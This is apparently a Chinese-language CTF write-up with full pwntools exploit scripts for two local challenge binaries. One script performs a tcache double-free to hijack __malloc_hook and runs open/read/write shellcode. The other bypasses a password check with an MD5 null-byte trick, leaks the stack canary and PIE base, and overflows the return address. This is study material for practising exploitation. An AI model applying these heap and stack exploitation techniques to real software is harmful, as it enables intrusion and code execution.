想可执行的地方写入orw的shellcode，利用tcachebin的df进行劫持malloc_hook

然后调用add来触发。

from pwn import *

context.os = 'linux'
context.log_level = "debug"
context.arch = 'amd64'

p = process('./Easyheap', env={"LD_PRELOAD":'./libc-2.27.so'})
libc = ELF('./libc-2.27.so')
elf = ELF('./Easyheap')

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

def debug():
    gdb.attach(p)
    pause()

def add(size, con):
    sla(">> :\n", "1")
    sla("Size: \n", size)
    p.sendafter("Content: \n", con)

def delete(index):
    sla(">> :\n", "2")
    sla("Index:\n", str(index))

def show(index):
    sla(">> :\n", "3")
    sla("Index:\n", str(index))

def edit(index, con):
    sla(">> :\n", "4")
    sla("Index:\n", str(index))
    p.sendafter("Content:\n", con)

add(0x40,'bpc')
add(0x420,'bpc'*0x160)
add(0x40,'bpc')
add(0x40,'a'*0x40)
add(0x40,'bpc')
add(0x10,'bpc')
delete(1)
edit(0,'a'*0x20)
show(0)
ru(0x20*'a')
libcbase = uu64(r(6)) - 0x3EBCA0
leak('libcbase',libcbase)
malloc = libcbase + libc.sym['__malloc_hook']

mmap = 0x23330000
delete(3)
edit(2, 'a'*0x10+p64(0)+p64(0x51)+p64(mmap))
add(0x40,'a'*0x40)
add(0x40,'a'*0x40)
shellcode = shellcraft.open("flag")
shellcode += shellcraft.read(3, mmap+0x200, 0x50)
shellcode += shellcraft.write(1, mmap+0x200, 0x50)
shellcode = asm(shellcode)
edit(3, shellcode)

delete(5)
edit(4, 'a'*0x10+p64(0)+p64(0x21)+p64(malloc))
add(0x10,'bpc')
add(0x10,p64(mmap))
edit(6,p64(mmap))

add(0x20,'bpc')

#debug()

itr()

​

第一关就是一个逆向，逆向出密码是啥

​

好叭，密码不太行emmm，直接学习网络上大佬00绕过的方法，利用password长须进行阶段，输入0x20的字符会将用于比较的s2开头的字符置为00所以此时我们需要构造md5后开头为00的字符串对，此时s1的开头也就是00，就可以绕过密码比较。利用下面的脚本进行爆破寻找这样的字符串对：（抄的）

import os
import hashlib

while True:
    md5 = hashlib.md5()
    key = os.urandom(0x20)
    md5.update(key)
    res = md5.hexdigest()
    if res[:2] == "00":
        print("find: ", res, key)
        break

绕过这个密码之后就是简单的栈溢出的叭

from pwn import *

context.os = 'linux'
context.log_level = "debug"
context.arch = 'amd64'

p = process('./canary3')#, env={"LD_PRELOAD":'./libc-2.27.so'})
#libc = ELF('./libc-2.27.so')
elf = ELF('./canary3')

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

def debug():
    gdb.attach(p)
    pause()

p.recvuntil("please input username: ")
p.send(b"admin")
p.recvuntil("please input password: ")
pad = b"b\x80\xfd\xfd[b'\xbb$U\xc6\x8fkw[^\x8a3\xb5h\xb4\xfb\xec\xfe\x15\x08\x85\x0e\x17\xb6y\xf3"
p.send(pad)
sla('3.exit\n',2)
p.sendlineafter('your input:\n','a'*0x18)
sla('3.exit\n',1)
ru('a'*0x18+'\n')
canary = uu64(r(7))*0x100
leak('canary',canary)

sla('3.exit\n',2)
pl = 'a'*0x1f
p.sendlineafter('your input:\n',pl)
sla('3.exit\n',1)
ru('a'*0x1f+'\n')
pie = uu64(r(6))-0x2530
leak('pie',pie)
system = pie+0x023AF

sla('3.exit\n',2)
pl = 'a'*0x18 + p64(canary) + 'a'*8 + p64(system)
p.sendlineafter('your input:\n',pl)
sla('3.exit\n',3)
#debug()
itr()

​